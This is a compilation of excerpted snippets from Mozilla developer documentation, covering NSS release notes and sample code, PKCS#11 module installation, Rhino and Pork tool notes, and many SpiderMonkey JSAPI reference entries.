... the following ca certificates were removed: cn = addtrust public ca root sha-256 fingerprint: 07:91:ca:07:49:b2:07:82:aa:d3:c7:d7:bd:0c:df:c9:48:58:35:84:3e:b2:d7:99:60:09:ce:43:ab:6c:69:27 cn = addtrust qualified ca root sha-256 fingerprint: 80:95:21:08:05:db:4b:bc:35:5e:44:28:d8:fd:6e:c2:cd:e3:ab:5f:b9:7a:99:42:98:8e:b8:f4:dc:d0:60:16 cn = china internet network information center ev certificates root sha-256 fingerprint: 1c:01:c6:f4:db:b2:fe:fc:22:55:8b:2b:ca:32:56:3f:49:84:4a:cf:c3:2b:7b:e4:b0:ff:59:9f:9e:8c:7a:f7 cn = cnnic root sha-256 fingerprint: e2:83:93:77:3d:a8:45:a6:79:f2:08:0c:c7:fb:44:a3:b7:a1:c3:79:2c:b7:eb:77:29:fd:cb:6a:8d:99:ae:a7 cn = comsign secured ca sha-256 fin...
...3.30.x and 3.31.x contained a bug in function cert_comparename, which caused the first rdn to be ignored.
NSS 3.33 release notes
introduction the network security services (nss) team has released nss 3.33, which is a minor release.
... nss 3.33 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_33_rtm/src/ notable changes in nss 3.33 tls compression is no longer supported.
... when nss is compiled without nss_force_fips=1 startup checks are no longer performed.
... in secport.h nss_securememcmpzero - check if a memory region is all zero in constant time.
NSS 3.38 release notes
introduction the nss team has released network security services (nss) 3.38, which is a minor release.
... when using certutil -o to print the chain for a given certificate nickname, the new parameter --simple-self-signed may be provided, which can avoid ambiguous output in some scenarios.
... new functions in secitem.h secitem_makeitem - allocate and make an item with the requested contents new macros in ssl.h ssl_record_size_limit - used to control the tls record size limit extension notable changes in nss 3.38 fixed cve-2018-0495 in bug 1464971.
... nss automatically enables caching for sql database storage on linux, if it is located on a network filesystem that's known to benefit from caching.
NSS 3.43 release notes
introduction the nss team has released network security services (nss) 3.43 on 16 march 2019, which is a minor release.
... new in nss 3.43 new functionality new functions in sechash.h hash_gethashoidtagbyhashtype - convert type hash_hashtype to type secoidtag in sslexp.h ssl_sendcertificaterequest - allow server to request post-handshake client authentication.
...note that while the mechanism is present, post-handshake authentication is currently not tls 1.3 compliant due to bug 1532312 notable changes in nss 3.43 the following ca certificates were added: cn = emsign root ca - g1 sha-256 fingerprint: 40f6af0346a99aa1cd1d555a4e9cce62c7f9634603ee406615833dc8c8d00367 cn = emsign ecc root ca - g3 sha-256 fingerprint: 86a1ecba089c4a8d3bbe2734c612ba341d813e043cf9e8a862cd5c57a36bbe6b cn = emsign root ca - c1 sha-256 fingerprint: 125609aa301da0a249b97a8239cb6a34216f44dcac9f3954b14292f2e8c8608f cn = emsign ecc root ca - c3 sha-256 fingerprint: bc4d809b15189d78db3e1d8cf4f9726a795da1643ca5f1358e1ddb0edc0d7eb3 ...
...s fixed in nss 3.43 bug 1528669 and bug 1529308 - improve gyp build system handling bug 1529950 and bug 1521174 - improve nss s/mime tests for thunderbird bug 1530134 - if docker isn't installed, try running a local clang-format as a fallback bug 1531267 - enable fips mode automatically if the system fips mode flag is set bug 1528262 - add a -j option to the strsclnt command to specify sigschemes bug 1513909 - add manual for nss-policy-check bug 1531074 - fix a deref after a null check in seckey_setpublicvalue bug 1517714 - properly handle esni with hrr bug 1529813 - expose hkdf-expand-label with mechanism bug 1535122 - align tls 1.3 hkdf trace levels bug 1530102 - use getentropy on compatible versions of freebsd.
NSS 3.49 release notes
introduction the nss team has released network security services (nss) 3.49 on 3 january 2020, which is a minor release.
... notable changes in nss 3.49 the legacy dbm database, libnssdbm, is no longer built by default when using gyp builds.
... bug 1606025 - remove -wmaybe-uninitialized warning in sslsnce.c bug 1606119 - fix ppc hw crypto build failure bug 1605545 - memory leak in pk11install_platform_generate bug 1602288 - fix build failure due to missing posix signal.h bug 1588714 - implement checkarmsupport for win64/aarch64 bug 1585189 - nss database uses 3des instead of aes to encrypt db entries bug 1603257 - fix ubsan issue in softoken ckm_nss_chacha20_ctr initialization bug 1590001 - additional hrr tests (cve-2019-17023) bug 1600144 - treat clienthello with message_seq of 1 as a second clienthello bug 1603027 - test that esni is regenerated after helloretryrequest bug 1593167 - int...
...ermittent mis-reporting potential security risk sec_error_unknown_issuer bug 1535787 - fix automation/release/nss-release-helper.py on macos bug 1594933 - disable building dbm by default bug 1562548 - improve gcm perfomance on aarch32 this bugzilla query returns all the bugs fixed in nss 3.49: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.49 compatibility nss 3.49 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.51 release notes
introduction the nss team has released network security services (nss) 3.51 on 6 march 2020, which is a minor release.
... notable changes in nss 3.51 updated dtls 1.3 implementation to draft-34.
... bug 1611209 - correct swapped pkcs11 values of ckm_aes_cmac and ckm_aes_cmac_general bug 1612259 - complete integration of wycheproof ecdh test cases bug 1614183 - check if ppc __has_include(<sys/auxv.h>) bug 1614786 - fix a compilation error for ‘getfipsenv’ "defined but not used" bug 1615208 - send dtls version numbers in dtls 1.3 supported_versions extension to avoid an incompatibility.
... bug 1538980 - secu_readderfromfile calls strstr on a string that isn't guaranteed to be null-terminated bug 1561337 - correct a warning for comparison of integers of different signs: 'int' and 'unsigned long' in security/nss/lib/freebl/ecl/ecp_25519.c:88 bug 1609751 - add test for mp_int clamping bug 1582169 - don't attempt to read the fips_enabled flag on the machine unless nss was built with fips enabled bug 1431940 - fix a null pointer dereference in blake2b_update bug 1617387 - fix compiler warning in secsign.c bug 1618400 - fix a openbsd/arm64 compilation error: unused variable 'getauxval' bug 1610687 - fix a crash on unaligned cmaccontext.aes.keyschedule when using aes-ni intrinsics this bugzilla query returns all the bugs fixed in nss 3.51: https://bugzilla.mozilla.org/...
NSS 3.53 release notes
notable changes in nss 3.53 when using the makefiles, nss can be built in parallel, speeding up those builds to more similar performance as the build.sh/ninja/gyp system.
... several root certificates in the mozilla program now set the cka_nss_server_distrust_after attribute, which nss consumers can query to further refine trust decisions.
...ug 1639033 - fix various compile warnings in nss bug 1640041 - fix a null pointer in security/nss/lib/ssl/sslencode.c:67 bug 1640042 - fix a null pointer in security/nss/lib/ssl/sslsock.c:4460 bug 1638289 - avoid multiple definitions of sha{256,384,512}_* symbols when linking libfreeblpriv3.so in firefox on ppc64le bug 1636389 - relocate deprecated seed algorithm bug 1637083 - lib/ckfw: no such file or directory.
... bug 1561331 - additional modular inverse test bug 1629553 - rework and cleanup gmake builds bug 1438431 - remove mkdepend and "depend" make target bug 290526 - support parallel building of nss when using the makefiles bug 1636206 - hacl* update after changes in libintvector.h bug 1636058 - fix building nss on debian s390x, mips64el, and riscv64 bug 1622033 - add option to build without seed this bugzilla query returns all the bugs fixed in nss 3.53: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.53 compatibility nss 3.53 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.54 release notes
introduction the nss team has released network security services (nss) 3.54 on 26 june 2020, which is a minor release.
... notable changes in nss 3.54 support for tls 1.3 external pre-shared keys (bug 1603042).
... certificate authority changes the following ca certificates were added: bug 1645186 - certsign root ca g2 sha-256 fingerprint: 657cfe2fa73faa38462571f332a2363a46fce7020951710702cdfbb6eeda3305 bug 1645174 - e-szigno root ca 2017 sha-256 fingerprint: beb00b30839b9bc32c32e4447905950641f26421b15ed089198b518ae2ea1b99 bug 1641716 - microsoft ecc root certificate authority 2017 sha-256 fingerprint: 358df39d764af9e1b766e9c972df352ee15cfac227af6ad1d70e8e4a6edcba02 bug 1641716 - microsoft rsa root certificate authority 2017 sha-256 fingerprint: c741f70f4b2a8d88bf2e71c14122ef53ef10eba0cfa5e64cfa20f418853073e0 the following ca ...
... bug 1644774 - ssl gtests to use clearservercache when resetting self-encrypt keys.
NSS 3.56 release notes
introduction the nss team has released network security services (nss) 3.56 on 21 august 2020, which is a minor release.
... notable changes in nss 3.56 nspr dependency updated to 4.28.
... bug 1656986 - properly detect arm64 during gyp build architecture detection.
... bug 1588941 - send empty certificate message when scheme selection fails.
NSS Sample Code sample6
* in a real app, this function should obtain the password using secure means * such as prompting an operator, or retrieving it over a secure communication * channel */ char *passwdcb(pk11slotinfo *info, prbool retry, void *arg); int main(int argc, char **argv) { secstatus rv; /* initialize nss */ pk11_setpasswordfunc(passwdcb); /* the nss db must be initialized read-write since we'll be creating * keys in it.
...should succeed on first run on a fresh db, * should fail on successive runs because key with that id already exists */ genkey(2); /* generate a key with id 1 - this will fail because key with that id * already exists */ genkey(1); } void genkey(int id) { pk11slotinfo* slot = null; pk11symkey* key = null; secitem keyiditem; int keyid[1]; ck_mechanism_type ciphermech; /* using ckm_aes_cbc_pad mechanism for example */ ciphermech = ckm_aes_cbc_pad; slot = pk11_getinternalkeyslot(); /* slot = pk11_getbestslot(ciphermech, null); didn't work.
... * since we're using aes in this example, we're specifying * one of the valid keysizes (16, 24, 32) */ key = pk11_tokenkeygen(slot, ciphermech, 0, 32 /*keysize*/, &keyiditem, pr_true, 0); if (key == null) { fprintf(stderr, "pk11_tokenkeygen failed (err %d)\n", pr_geterror()); pk11_freeslot(slot); return; } fprintf(stderr, "key length of generated key is %d\n", pk11_getkeylength(key)); fprintf(stderr, "mechanism of key is %d (asked for %d)\n", pk11_getmechani...
...sm(key), ciphermech); pk11_freesymkey(key); key = pk11_findfixedkey(slot, ciphermech, &keyiditem, 0); if (key == null) { fprintf(stderr, "pk11_findfixedkey failed (err %d)\n", pr_geterror()); pk11_freeslot(slot); return; } fprintf(stderr, "found key!\n"); fprintf(stderr, "key length of generated key is %d\n", pk11_getkeylength(key)); fprintf(stderr, "mechanism of key is %d (asked for %d)\n", pk11_getmechanism(key), ciphermech); pk11_freesymkey(key); pk11_freeslot(slot); } char *passwdcb(pk11slotinfo *info, prbool retry, void *arg) { if (!retry) return pl_strdup("test"); else return null; } ...
PKCS11 module installation
pkcs #11 modules are external modules which add to firefox support for smartcard readers, biometric security devices, and external certificate stores.
...choose "advanced" > "encryption" > "security devices" choose "load" enter a name for the security module, such as "my client database".
... note: there is currently a bug in firefox where international characters may cause problems.
... choose "browse..." to find the location of the pkcs #11 module on your local computer, and choose "ok" when done.
FC_FindObjectsInit
name fc_findobjectsinit - initialize the parameters for an object search.
... description fc_findobjectsinit sets the attribute list for an object search.
... if fc_findobjectsinit is successful fc_findobjects may be called one or more times to retrieve handles of matching objects.
... a user must log into the token (to assume the nss user role) before searching for secret or private key objects.
NSS Key Functions
this chapter describes two functions used to manipulate private keys and key databases such as the key3.db database provided with nss.
... this was converted from "chapter 6: key functions".
...when you call cert_destroycertificate or seckey_destroyprivatekey, the function decrements the reference count and, if the reference count reaches zero as a result, both frees the memory and sets all the bits to zero.
...if you attempt to do so, the change affects all the shallow copies of that structure and can cause severe problems.
sslkey.html
if you are inclined to help with this migration, your help would be very much appreciated.
... upgraded documentation may be found in the current nss reference key functions chapter 6 key functions this chapter describes two functions used to manipulate private keys and key databases such as the key3.db database provided with communicator.
...when you call cert_destroycertificate or seckey_destroyprivatekey, the function decrements the reference count and, if the reference count reaches zero as a result, both frees the memory and sets all the bits to zero.
...if you attempt to do so, the change affects all the shallow copies of that structure and can cause severe problems.
Pork Tool Development
the diff file is generated using the "patcher" class.
...this can be translated to an unboxedloc, which has a line and column offset (see renamer.cc:65).
...cppsourceloc will change the previously provided location information (in variable cpp_source_loc._loc) from post-location to pre-location.
... notes the #static channel on irc.mozilla.org is for discussion of pork, dehydra, and other static analysis tools.
Pork
pork is a c++ parsing and rewriting tool chain.
... the core of pork is a c++ parser that provides exact character positions for the start and end of every ast node, as well as the set of macro expansions that contain any location.
...please refer to the oink link below for a more up-to-date toolchain.
... pork is based on the elsa (and oink) tool chain, and the mcpp preprocessor.
Rhino and BSF
the bean scripting framework (or bsf) was originally developed by ibm and now published as open source as a project at the apache software foundation.
...see xalan-java extensions for more information on adding javascript to xsl and the description of the optional script task in the apache ant manual for using scripting in ant build files.
... using bsf with rhino now that the apache jakarta bean scripting framework (bsf), version 2.4.0, has been officially released, you can use rhino easily with bsf.
... see http://commons.apache.org/proper/commons-bsf/index.html.
Rhino optimization
no class files are generated, which may improve memory usage depending on your system.
...simple data and type flow analysis is performed to determine which javascript variables can be allocated to java vm registers, and which variables are used only as numbers.
...function call targets are speculatively pre-cached (based on the name used in the source) so that dispatching can be direct, pending runtime confirmation of the actual target.
...so if a script is compiled with the context's optimizationlevel set to 1, it will be executed with those optimizations, regardless of the optimizationlevel of the context in which it is executed.
The JavaScript Runtime
each javascript script or function is compiled to a separate class.
... string java.lang.charsequence (java.lang.string or org.mozilla.javascript.consstring) object org.mozilla.javascript.scriptable in addition, ecma refers to objects that implement [[call]] as functions.
... if the services provided by defineclass are insufficient, try other methods of scriptableobject and functionobject, such as defineproperty and definefunctionproperties.
...any host objects that are defined are responsible for any synchronization required to run safely from multiple threads.
JS::Rooted
syntax js::rooted<t> var(cx); js::rooted<t> var(cx, initial); js::rooted<t> var(rt); js::rooted<t> var(rt, initial); name type description cx jscontext * the context in which to add the root.
... rt jsruntime * the runtime in which to add the root.
... js::rooted<t> should be used whenever a local variable's value may be held live across a call which can trigger a gc.
...in types: namespace js { typedef rooted<jsobject*> rootedobject; typedef rooted<jsfunction*> rootedfunction; typedef rooted<jsscript*> rootedscript; typedef rooted<jsstring*> rootedstring; typedef rooted<js::symbol*> rootedsymbol; // added in spidermonkey 38 typedef rooted<jsid> rootedid; typedef rooted<js::value> rootedvalue; } see also mxr id search for js::rooted mxr id search for js::rootedobject mxr id search for js::rootedfunction mxr id search for js::rootedscript mxr id search for js::rootedstring mxr id search for js::rootedsymbol mxr id search for js::rootedid mxr id search for js::rootedvalue js::handle js::mutablehandle gc rooting guide bug 756823 bug 761391 - added js::rootedscript bug 645416 - added js::rootedsymbol ...
JS::SetLargeAllocationFailureCallback
syntax void js::setlargeallocationfailurecallback(jsruntime *rt, js::largeallocationfailurecallback afc, void *data); name type description rt jsruntime * the jsruntime for which to set the gc callback.
... data void * data parameter which will be passed to js::largeallocationfailurecallback.
...added in spidermonkey 38 description if a large allocation fails when calling pod_{calloc,realloc}cangc, the js engine may call the large-allocation- failure callback, if set, to allow the embedding to flush caches, possibly perform shrinking gcs, etc.
... see also mxr id search for js::setlargeallocationfailurecallback mxr id search for js::largeallocationfailurecallback bug 936236 bug 987995 - added data parameter ...
JS::SetOutOfMemoryCallback
syntax void js::setoutofmemorycallback(jsruntime *rt, js::outofmemorycallback cb, void *data); name type description rt jsruntime * the jsruntime for which to set the gc callback.
... data void * data parameter which will be passed to js::outofmemorycallback.
...added in spidermonkey 38 description unlike the error reporter, which is only called if the exception for an oom bubbles up and is not caught, the js::outofmemorycallback is called immediately at the oom site to allow the embedding to capture the current state of heap allocation before anything is freed.
... see also mxr id search for js::setoutofmemorycallback mxr id search for js::outofmemorycallback bug 969415 bug 987995 - added data parameter ...
JSConstDoubleSpec
syntax template<typename t> struct jsconstscalarspec { const char *name; t val; /* uint8_t flags; // obsolete from jsapi 35 uint8_t spare[3]; // obsolete from jsapi 35 */ }; typedef jsconstscalarspec<double> jsconstdoublespec; typedef jsconstscalarspec<int32_t> jsconstintegerspec; // added in spidermonkey 38 name type description val double or int32_t value for the double or integer.
... name const char * name to assign the double.
... see also mxr id search for jsconstdoublespec mxr id search for jsconstintegerspec js_defineconstdoubles.
... js_defineconstintegers bug 1066020 - changed to template, and removed flags and spare ...
JSFunctionSpec
syntax struct jsfunctionspec { const char *name; jsnativewrapper call; uint16_t nargs; uint16_t flags; const char *selfhostedname; }; typedef struct jsnativewrapper { jsnative op; const jsjitinfo *info; } jsnativewrapper; name type description name const char * the function's name.
... selfhostedname const char * the function's name in self-hosted javascript code.
...to define an array element, cast the element's index value to const char*, initialize the name field with it, and specify the jsprop_index attribute in flags.
...see also mxr id search for jsfunctionspec jspropertyspec jsnative js_fs js_fn js_sym_fn js_fninfo js_self_hosted_fn js_self_hosted_sym_fn js_sym_fnspec js_fnspec js_fs_end property attributes js_definefunctions js_initclass ...
JSID_VOID
an additional jsid which is used to indicate the absence of a valid jsid.
...a void jsid is not a valid id and only arises as an exceptional api return value, such as in js_nextproperty.
... jsid_voidhandle is the handle to the jsid which value is jsid_void.
... see also mxr id search for jsid_void mxr id search for jsid_voidhandle bug 912411 ...
JSMarkOp
syntax typedef uint32 (* jsmarkop)(jscontext *cx, jsobject *obj, void *arg); name type description cx jscontext * the js context in which the mark phase of garbage collection is occurring.
... arg void * opaque data which the mark hook must pass through to js_markgcthing.
... description call js_markgcthing for each gc thing directly reachable from obj.
... use jsval_is_gcthing to check whether a value needs to be marked and jsval_to_gcthing to convert the jsval to a pointer.
JSObjectOps.defaultValue
details of the api may change from one release to the next.
... syntax typedef jsbool (*jsconvertop)(jscontext *cx, jsobject *obj, jstype type, jsval *vp); name type description cx jscontext * pointer to the js context in which the conversion is needed.
...many expressions in the ecmascript language, such as a+b, involve implicit conversion of the operands using [[defaultvalue]].
... js_convertstub implements the default behavior for the jsclass.convert hook, which is to call obj.valueof() and obj.tostring() in accordance with the algorithm in es5 §8.12.8.
JSPrincipalsTranscoder
each script function is associated with principals, which poses a problem for xdr.
... the callback xdr-encodes or -decodes a principals instance, based on whether xdr->mode is jsxdr_encode, in which case *principalsp should be encoded; or jsxdr_decode, in which case implementations must return a held (via jsprincipals_hold), non-null *principalsp out parameter.
... return js_true on success, js_false on any error, which the implementation must have reported.
... mxr id search for jsprincipalstranscoder ...
JSReserveSlotsOp
syntax typedef uint32 (* jsreserveslotsop)(jscontext *cx, jsobject *obj); name type description cx jscontext * the js context in which the new object is being created.
...a class cannot freely use a reserveslots hook to reserve a different number of slots for each object.
... rather, within a jsruntime, every call to the same reserveslots hook must return the same value (excepting a few internal classes such as function, call, and block).
... jsclass hooks jsclass offers the following hook: the jsclass.reserveslots callback is called each time a new object is created.
JSResolveOp
syntax typedef bool (* jsresolveop)(jscontext *cx, js::handleobject obj, js::handleid id, bool *resolvedp); // added in jsapi 36 typedef bool (* jsresolveop)(jscontext *cx, js::handleobject obj, js::handleid id); // obsolete since jsapi 36 name type description cx jscontext * pointer to the js context in which the property access is taking place.
... description jsresolveop callback is a hook which is called when a property is not found on an object.
... note: jsnewresolveop provides a cheaper way to resolve lazy properties.
... see also mxr id search for jsresolveop jsclass jsnewresolveop bug 993026 ...
JSRuntime
the jsruntime is the universe in which javascript objects live; they can't travel to other jsruntimes.
...the jscontext is a child of the jsruntime.
...for example, a browser might create a separate context for each html page; every script in the page could use the same context.
...there's no fixed association between an object and the context in which it is created.
JS_AddExternalStringFinalizer
the js engine will automatically call this function each time a string created by js_newexternalstring is garbage-collected.
... callback syntax typedef void (*jsstringfinalizeop)(jscontext *cx, jsstring *str); name type description cx jscontext * pointer to a jscontext which the finalizer may use for certain very limited operations (not documented).
...the callback may use js_getstringchars(str) to get a pointer to the character buffer, which is the pointer which the application passed to js_newexternalstring() when creating the string.
... description add a finalizer for external strings created by js_newexternalstring using a type-code returned from this function, and that understands how to free or release the memory pointed at by js_getstringchars(str).
JS_AddFinalizeCallback
nalizecallback(jsruntime *rt, jsfinalizecallback cb, void *data); // added in spidermonkey 38 (jsapi 32) void js_removefinalizecallback(jsruntime *rt, jsfinalizecallback cb); // added in spidermonkey 38 (jsapi 32) void js_setfinalizecallback(jsruntime *rt, jsfinalizecallback cb); // obsolete since jsapi 32 name type description rt jsruntime * the jsruntime for which to set the finalization callback.
... description js_addfinalizecallback add a callback function which the garbage collector calls at several points during garbage collection.
... rt is the runtime in which you specify the callback.
... see also mxr id search for js_addfinalizecallback mxr id search for js_removefinalizecallback mxr id search for jsfinalizestatus mxr id search for jsfinalize_group_start mxr id search for jsfinalize_group_end mxr id search for jsfinalize_collection_end mxr id search for jsfinalizecallback jsfreeop js_setgccallback bug 723286 - separated from js_setgccallback as js_setfinalizecallback bug 996785 - replaced with js_addfinalizecallback ...
JS_BufferIsCompilableUnit
syntax bool js_bufferiscompilableunit(jscontext *cx, js::handle<jsobject*> obj, const char *utf8, size_t length); name type description cx jscontext * pointer to a js context from which to derive runtime information.
... utf8 const char * string containing the script to compile.
... length size_t the length of utf8 in characters.
...see also mxr id search for js_bufferiscompilableunit js::evaluate js::compile js::compileoffthread js::compilefunction js_decompilescript ...
JS_ClearNewbornRoots
clear a context's newborn roots, which temporarily protect newly allocated values from garbage collection.
... description the last gc thing of each type (object, string, double, external string types) created on a given context is kept alive until another thing of the same type is created, using a newborn root in the context.
...however, the newborn roots can also entrain great gobs of garbage, so the js_gc entry point clears them for the context on which gc is being forced.
...see js_enterlocalrootscope for a better way to manage newborns in cases where native hooks (functions, getters, setters, etc.) create many gc-things, potentially without connecting them to predefined local roots such as *rval or argv[i] in an active jsnative function.
JS_ClearPendingException
syntax void js_clearpendingexception(jscontext *cx); name type description cx jscontext * the context in which the exception was thrown.
...(there is a pending exception if the most recently thrown exception in cx has not yet been caught or cleared.) when any jsapi call fails with an exception, the caller must either use js_clearpendingexception to catch the exception; or return false to allow the exception to propagate to the caller.
...use js_isexceptionpending or js_getpendingexception to check for a pending exception.
...see also mxr id search for js_clearpendingexception js_getpendingexception js_isexceptionpending js_reportpendingexception js_setpendingexception ...
JS_CloneFunctionObject
syntax jsobject * js_clonefunctionobject(jscontext *cx, jsobject *funobj, jsobject *parent); name type description cx jscontext * pointer to a js context from which to derive runtime information.
...the new object's prototype is function.prototype; js_newobject: choosing a default prototype explains exactly how this is computed.
... js_clonefunctionobject takes care to choose a prototype that shares a global object with the given parent whenever possible.
...see also mxr id search for js_clonefunctionobject js::clonefunctionobject bug 1089026 renamed to js::clonefunctionobject ...
JS_CompareStrings
syntax bool js_comparestrings(jscontext *cx, jsstring *str1, jsstring *str2, int32_t *result); name type description cx jscontext * the context to which both strings must belong.
...on error, it returns js_false and the value in result is unchanged.
...there is no attempt to use the more complex, semantically oriented definitions of character or string equality and collating order defined in the unicode specification.
...see also mxr id search for js_comparestrings js_convertvalue js_getstringchars js_getstringlength js_valuetostring ...
JS_CompileUTF8File
syntax jsobject * js_compileutf8file(jscontext *cx, jsobject *obj, const char *filename); name type description cx jscontext * the context in which to compile the script.
... obj jsobject * object with which the script is associated.
... filename const char * name of file containing the script to compile.
... mxr id search for js_compilefile js::compile js_decompilescript js::evaluate js_executescript bug 805080 ...
JS_CompileUTF8FileHandle
syntax jsobject * js_compileutf8filehandle(jscontext *cx, jsobject *obj, const char *filename, file *file); jsobject * js_compileutf8filehandleforprincipals( jscontext *cx, jsobject *obj, const char *filename, file *file, jsprincipals *principals); name type description cx jscontext * the context in which to compile the script.
... obj jsobject * object with which the script is associated.
... filename const char * filename to associate with the compiled script.
... mxr id search for js_compileutf8filehandle js::compile js_decompilescript js::evaluate js_executescript bug 805080 ...
JS_DefineObject
syntax jsobject * js_defineobject(jscontext *cx, js::handleobject obj, const char *name, const jsclass *clasp = nullptr, unsigned attrs = 0); name type description cx jscontext * the context in which to create the new object.
... obj js::handleobject object to which this new object belongs as a property.
... name const char * name of the property being defined in obj to hold the new object.
... see also mxr id search for js_defineobject bug 1127494 ...
JS_EncodeStringToBuffer
syntax size_t js_encodestringtobuffer(jscontext *cx, jsstring *str, char *buffer, size_t length); name type description cx jscontext * a context.
... buffer char * a character buffer to receive encoded string.
... description js_encodestringtobuffer converts the specified javascript str to a c string (an array of 8-bit chars) and fills the specified buffer with up to length bytes of the string.
... see also mxr id search for js_encodestringtobuffer js_encodestring js_encodestringtoutf8 js_getstringencodinglength js::deflatestringtoutf8buffer js::getdeflatedutf8stringlength bug 607292 ...
JS_FlattenString
this makes getting the characters of the string infallible.
...to catch errors, an opaque jsflatstring type is returned.
...if a jsstring is known to be flat, you can use js_assert_string_is_flat to make a debug-checked cast.
... example: // in a fallible situation jsflatstring *fstr = js_flattenstring(cx, str); if (!fstr) return false; js_assert(fstr == js_assert_string_is_flat(str)); // in an infallible situation, for the same 'str' const jschar *chars = js_getflatstringchars(fstr) js_assert(chars); see also mxr id search for js_flattenstring js_assert_string_is_flat js_forget_string_flatness bug 609440 ...
JS_ForwardGetPropertyTo
obj js::handleobject object to search on for the property.
...on success, *vp receives the current value of the property, or undefined if no such property is found.
... on success, these functions set *vp to the current value of the property, or undefined if obj has no such property, and return true.
... see also mxr id search for js_forwardgetpropertyto js_getproperty bug 698551 ...
JS_GC
syntax void js_gc(jscontext *cx); // added in spidermonkey 52 void js_gc(jsruntime *rt); // obsolete since jsapi 50 void js_gc(jscontext *cx); // obsolete since jsapi 14 name type description cx jscontext * the context to for which to perform garbage collection.
... added in spidermonkey 52 rt jsruntime * the runtime to for which to perform garbage collection.
... obsolete since jsapi 50 description js_gc performs garbage collection of js objects, strings and other internal data structures that are no longer reachable in the specified context or runtime.
... see also mxr id search for js_gc js_maybegc bug 737364 -- changed to jsruntime bug 1283855 -- changed to jscontext ...
JS_GET_CLASS
this macro was removed in spidermonkey 1.8.8 when the signature of js_getclass() was changed to take only an object pointer.
... syntax #ifdef js_threadsafe #define js_get_class(cx,obj) js_getclass(cx, obj) #else #define js_get_class(cx,obj) js_getclass(obj) #endif parameter type description cx jscontext * any context associated with the runtime in which obj exists.
...to check the type of an object, use js_hasinstance instead.
... for a stricter, exact-match-only check, use js_instanceof or js_getinstanceprivate.
JS_GetClass
syntax const jsclass * js_getclass(jsobject *obj); name type description cx jscontext * any context associated with the runtime in which obj exists.
...to check the type of an object, use js_hasinstance instead.
... for a stricter, exact-match-only check, use js_instanceof or js_getinstanceprivate.
... see also mxr id search for js_getclass bug 723517 ...
JS_GetInstancePrivate
obj js::handle&lt;jsobject*&gt; the object for which to retrieve private data.
... clasp jsclass * class against which to test the object.
...if you pass a non-null argument vector, argv, to js_getinstanceprivate, and obj is not an instance of clasp, this function reports a class mismatch error before returning null.
...see also mxr id search for js_getinstanceprivate jsclass_has_private jsval_to_private js_getprivate js_initclass js_instanceof js_reporterror js_setprivate bug 959787 -- added args parameter ...
JS_GetLocaleCallbacks
syntax jslocalecallbacks * js_getlocalecallbacks(jsruntime *rt); void js_setlocalecallbacks(jsruntime *rt, jslocalecallbacks *callbacks); name type description cx jscontext * pointer to a js context from which to derive runtime information.
...l (* jslocaletouppercase)(jscontext *cx, js::handlestring src, js::mutablehandlevalue rval); typedef bool (* jslocaletolowercase)(jscontext *cx, js::handlestring src, js::mutablehandlevalue rval); typedef bool (* jslocalecompare)(jscontext *cx, js::handlestring src1, js::handlestring src2, js::mutablehandlevalue rval); typedef bool (* jslocaletounicode)(jscontext *cx, const char *src, js::mutablehandlevalue rval); type description jslocaletouppercase implementation of string.prototype.tolocaleuppercase() function.
...js_getlocalecallbacks returns the address of the current locale callbacks struct, which may be nullptr.
... see also mxr id search for js_getlocalecallbacks mxr id search for js_setlocalecallbacks mxr id search for jslocalecallbacks mxr id search for jslocaletouppercase mxr id search for jslocaletolowercase mxr id search for jslocalecompare mxr id search for jslocaletounicode ...
JS_GetPropertyAttributes
syntax jsbool js_getpropertyattributes(jscontext *cx, jsobject *obj, const char *name, unsigned int *attrsp, jsbool *foundp); jsbool js_getucpropertyattributes(jscontext *cx, jsobject *obj, const jschar *name, size_t namelen, unsigned int *attrsp, jsbool *foundp); name type description cx jscontext * the context in which to look up property attributes.
... name const char * or const jschar * name of the property from which to retrieve attributes.
... namelen size_t (only in js_getucpropertyattributes) the length of name in characters; or (size_t) -1 to indicate that name is null-terminated.
... if obj does not have the specified property, or if it inherits it from some other object (on its prototype chain, for example), then *foundp is set to js_false.
JS_GetPrototype
syntax bool js_getprototype(jscontext *cx, js::handleobject obj, js::mutablehandleobject protop); name type description cx jscontext * pointer to a js context from which to derive runtime information.
... obj js::handleobject object for which to retrieve the prototype.
... if js_getprototype returns false, that signals an exception, which should be handled as usual.
... see also mxr id search for js_getprototype js_setprototype ...
JS_GetSecurityCallbacks
callback structure struct jssecuritycallbacks { jscspevalchecker contentsecuritypolicyallows; // added in spidermonkey 1.8.5 jssubsumesop subsumes; // added in spidermonkey 31 jscheckaccessop checkobjectaccess; // obsolete since jsapi 29 jsprincipalstranscoder principalstranscoder; // obsolete since jsapi 13 jsobjectprincipalsfinder findobjectprincipals; // obsolete since jsapi 13 }; ...
... name type description contentsecuritypolicyallows jscspevalchecker a pointer to the function which checks if a csp instance wants to disable eval() and friends.
... subsumes jssubsumesop a pointe to the function which returns whether the first principal subsumes the second.
...if the callbacks are default value, it returns null see also mxr id search for js_getsecuritycallbacks mxr id search for js_setsecuritycallbacks jsprincipals jscspevalchecker jssubsumesop bug 957688 - removed checkobjectaccess bug 924905 - added subsumes bug 728250 - added -js_getsecuritycallbacks and js_setsecuritycallbacks, removed js_setcontextsecuritycallbacks, js_getruntimesecuritycallbacks, and js_setruntimesecuritycallbacks ...
JS_MaybeGC
syntax void js_maybegc(jscontext *cx); name type description cx jscontext * the context in which to perform garbage collection, if needed.
...calling js_maybegc periodically when the application is busy, from a jsbranchcallback or jsoperationcallback added in spidermonkey 1.8, can keep memory usage down and improve performance.
...such applications can benefit from implementing their own custom-tuned maybe-gc function that conditionally calls js_gc on the basis of some application-specific analysis, and using that instead of js_maybegc.
... see also mxr id search for js_maybegc js_gc ...
JS_NewFunction
